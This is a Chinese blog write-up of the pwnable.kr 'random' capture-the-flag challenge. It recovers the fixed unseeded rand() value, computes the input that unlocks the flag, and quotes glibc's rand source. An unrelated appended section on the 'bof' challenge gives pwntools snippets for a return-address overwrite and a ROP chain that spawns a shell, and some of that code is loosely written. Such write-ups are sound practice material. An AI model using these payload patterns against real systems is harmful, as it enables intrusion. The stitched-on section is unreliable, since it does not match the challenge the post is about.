【pwnable.kr】random

本文介绍了一个基于rand()函数的程序挑战,通过分析rand()函数的行为和特性,找到了固定的随机数生成模式,并利用这一特点实现了程序的破解。


download

scp -P 2222 -p  random@pwnable.kr:/home/random/* ./
程序输入用scanf %d 读取一个signed int和rand()异或,如果结果为0xdeadbeef进入system流程。
由于rand()调用前没有调用srand(),因此产生的结果可以认为是不变的。 
关于异或:A ^ B = C -> A ^ C = B -> B ^ C = A ,任意两个变量异或的值等于第三个值。
gdb本地调试,断点设置在rand()后,b *0x400606,可知rand的结果为0x6b8b4567。

>>> 0x6b8b4567^0xdeadbeef
3039230856
IDA pseudocode
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h]
  int v5; // [rsp+Ch] [rbp-4h]

  v5 = rand();
  v4 = 0;
  __isoc99_scanf(&unk_400760, &v4);
  if ( (v5 ^ v4) == 0xDEADBEEF )
  {
    puts("Good!");
    system("/bin/cat flag");
  }
  else
  {
    puts("Wrong, maybe you should try 2^32 cases.");
  }
  return 0;
}

TIPS
    #include <stdlib.h>
    int rand(void);
    int rand_r(unsigned int *seedp);
    void srand(unsigned int seed);
rand() returns a pseudo-random integer. Without srand(),the return value is 1804289383. 
srand() can change the seed which will effect rand(). # default srand(1) 
rand_r()’s seedp argument is used to store state between calls.
See more at: http://man7.org/linux/man-pages/man3/rand.3.html and glibc also. 

#include <stdio.h>
#include <stdlib.h>
void myrand(){
    int a;
    a = rand();
    printf("rand() value # %d\n", a);
}
void mysrand(){
    int a;
    srand(1);
    a = rand();
    printf("srand(1)  rand() value %d\n", a);
}
void main(){
    myrand();
    mysrand();

}
/*
Output:
    rand() value # 1804289383
    srand(1)  rand() value 1804289383
*/

EXPLOIT

random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
glibc optional

Here is the source code of rand srand and rand_r() for reference only.Yes, I haven’t read it…

// stdlib/rand.c
/* Return a random integer between 0 and RAND_MAX.  */
int
rand (void)
{
  return (int) __random ();
}

// stdlib/random.c
long int
__random (void)
{
  int32_t retval;

  __libc_lock_lock (lock);

  (void) __random_r (&unsafe_state, &retval);

  __libc_lock_unlock (lock);

  return retval;
}

// stdlib/random_r.c
int
__random_r (struct random_data *buf, int32_t *result)
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = state[0];
      val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      int32_t val;

      val = *fptr += *rptr;
      /* Chucking least random bit.  */
      *result = (val >> 1) & 0x7fffffff;
      ++fptr;
      if (fptr >= end_ptr)
    {
      fptr = state;
      ++rptr;
    }
      else
    {
      ++rptr;
      if (rptr >= end_ptr)
        rptr = state;
    }
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}
// stdlib/random.c
void
__srandom (unsigned int x)
{
  __libc_lock_lock (lock);
  (void) __srandom_r (x, &unsafe_state);
  __libc_lock_unlock (lock);
}
// stdlib/random_r.c
/* Initialize the random number generator based on the given seed.  If the
   type is the trivial no-state-information type, just remember the seed.
   Otherwise, initializes state[] based on the given "seed" via a linear
   congruential generator.  Then, the pointers are set to known locations
   that are exactly rand_sep places apart.  Lastly, it cycles the state
   information a given number of times to get rid of any initial dependencies
   introduced by the L.C.R.N.G.  Note that the initialization of randtbl[]
   for default usage relies on values produced by this routine.  */
int
__srandom_r (unsigned int seed, struct random_data *buf)
{
  int type;
  int32_t *state;
  long int i;
  int32_t word;
  int32_t *dst;
  int kc;

  if (buf == NULL)
    goto fail;
  type = buf->rand_type;
  if ((unsigned int) type >= MAX_TYPES)
    goto fail;

  state = buf->state;
  /* We must make sure the seed is not 0.  Take arbitrarily 1 in this case.  */
  if (seed == 0)
    seed = 1;
  state[0] = seed;
  if (type == TYPE_0)
    goto done;

  dst = state;
  word = seed;
  kc = buf->rand_deg;
  for (i = 1; i < kc; ++i)
    {
      /* This does:
       state[i] = (16807 * state[i - 1]) % 2147483647;
     but avoids overflowing 31 bits.  */
      long int hi = word / 127773;
      long int lo = word % 127773;
      word = 16807 * lo - 2836 * hi;
      if (word < 0)
    word += 2147483647;
      *++dst = word;
    }

  buf->fptr = &state[buf->rand_sep];
  buf->rptr = &state[0];
  kc *= 10;
  while (--kc >= 0)
    {
      int32_t discard;
      (void) __random_r (buf, &discard);
    }

 done:
  return 0;

 fail:
  return -1;
}
// stdlib/random_r.c

/* This algorithm is mentioned in the ISO C standard, here extended
   for 32 bits.  */
int
rand_r (unsigned int *seed)
{
  unsigned int next = *seed;
  int result;

  next *= 1103515245;
  next += 12345;
  result = (unsigned int) (next / 65536) % 2048;

  next *= 1103515245;
  next += 12345;
  result <<= 10;
  result ^= (unsigned int) (next / 65536) % 1024;

  next *= 1103515245;
  next += 12345;
  result <<= 10;
  result ^= (unsigned int) (next / 65536) % 1024;

  *seed = next;

  return result;
}


### pwnable.kr bof题目概述 pwnable.kr 是一个著名的在线渗透测试练习平台,bof(Buffer Overflow,缓冲区溢出)题目是其中经典类型。缓冲区溢出通常是由于程序没有正确检查用户输入的长度,导致输入的数据超出了缓冲区的边界,从而覆盖相邻的内存区域,可能改变程序的执行流程。 ### 解题思路与步骤 #### 1. 环境准备 首先需要在本地搭建好调试环境,安装必要的工具,如`gdb`(GNU调试器)、`pwntools`(Python 库,用于编写漏洞利用脚本)等。例如,使用`pwntools`可以方便地与远程服务器进行交互。 ```python from pwn import * # 连接到远程服务器 p = remote('pwnable.kr', 9000) ``` #### 2. 分析程序 - **反汇编**:使用`objdump`或`gdb`对目标程序进行反汇编,查看程序的汇编代码,了解程序的逻辑和函数调用关系。例如,使用`objdump -d bof`可以得到程序的反汇编代码。 - **检查漏洞点**:重点关注程序中存在缓冲区操作的函数,如`gets`、`strcpy`等,这些函数通常不检查输入的长度,容易引发缓冲区溢出漏洞。 #### 3. 确定缓冲区大小 通过调试程序,向程序输入不同长度的数据,观察程序的行为,确定缓冲区的大小。可以使用`gdb`设置断点,在关键位置查看栈的状态。 ```python # 构造不同长度的测试数据 test_data = 'A' * 10 p.sendline(test_data) ``` #### 4. 覆盖返回地址 当确定了缓冲区大小后,构造恶意输入,覆盖程序的返回地址。返回地址是函数调用结束后程序要跳转执行的地址,通过覆盖它可以改变程序的执行流程。 ```python # 计算返回地址的偏移量 offset = 44 # 假设偏移量为 44 # 构造恶意输入 payload = 'A' * offset # 获取目标地址(如系统函数地址) target_address = p64(0xdeadbeef) payload += target_address p.sendline(payload) ``` #### 5. 利用漏洞执行任意代码 - **调用系统函数**:如果程序中存在可利用的系统函数(如`system`),可以通过覆盖返回地址,将程序的执行流程引导到这些函数上,并传入合适的参数(如`/bin/sh`),从而获得一个 shell。 - **ROP 链**:如果程序中没有合适的系统函数可以直接调用,可以使用 ROP(Return Oriented Programming,面向返回编程)技术,通过拼接多个小的代码片段(gadget)来实现复杂的功能。 ```python # 构造 ROP 链 rop = ROP(elf) # 查找合适的 gadget pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] bin_sh = next(elf.search(b'/bin/sh')) system_addr = elf.symbols['system'] # 构造 ROP 链 rop.raw(pop_rdi) rop.raw(bin_sh) rop.raw(system_addr) # 构造最终的 payload payload = 'A' * offset + str(rop) p.sendline(payload) ``` ### 技术分析 #### 缓冲区溢出原理 缓冲区溢出是由于程序对输入数据的长度没有进行有效的检查,导致输入的数据超出了缓冲区的边界,覆盖了相邻的内存区域。在栈上,函数调用时会保存返回地址等信息,当缓冲区溢出发生时,返回地址可能被覆盖,从而改变程序的执行流程。 #### 栈布局与内存管理 了解栈的布局对于利用缓冲区溢出漏洞至关重要。栈是一种后进先出的数据结构,函数调用时会在栈上分配空间,保存局部变量、参数和返回地址等信息。通过调试和分析栈的状态,可以确定缓冲区的位置和返回地址的偏移量。 #### 保护机制绕过 现代操作系统和编译器通常会采用一些保护机制,如 ASLR(地址空间布局随机化)、Canary(栈保护)等,来防止缓冲区溢出漏洞的利用。在解题过程中,需要了解这些保护机制,并寻找相应的绕过方法。例如,对于 ASLR,可以通过泄露程序的基地址来绕过;对于 Canary,可以通过泄露 Canary 的值来绕过。 ### 总结 解决 pwnable.kr 的 bof 题目需要掌握缓冲区溢出的基本原理、调试技巧和漏洞利用技术。通过不断地练习和实践,可以提高对漏洞的分析和利用能力。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值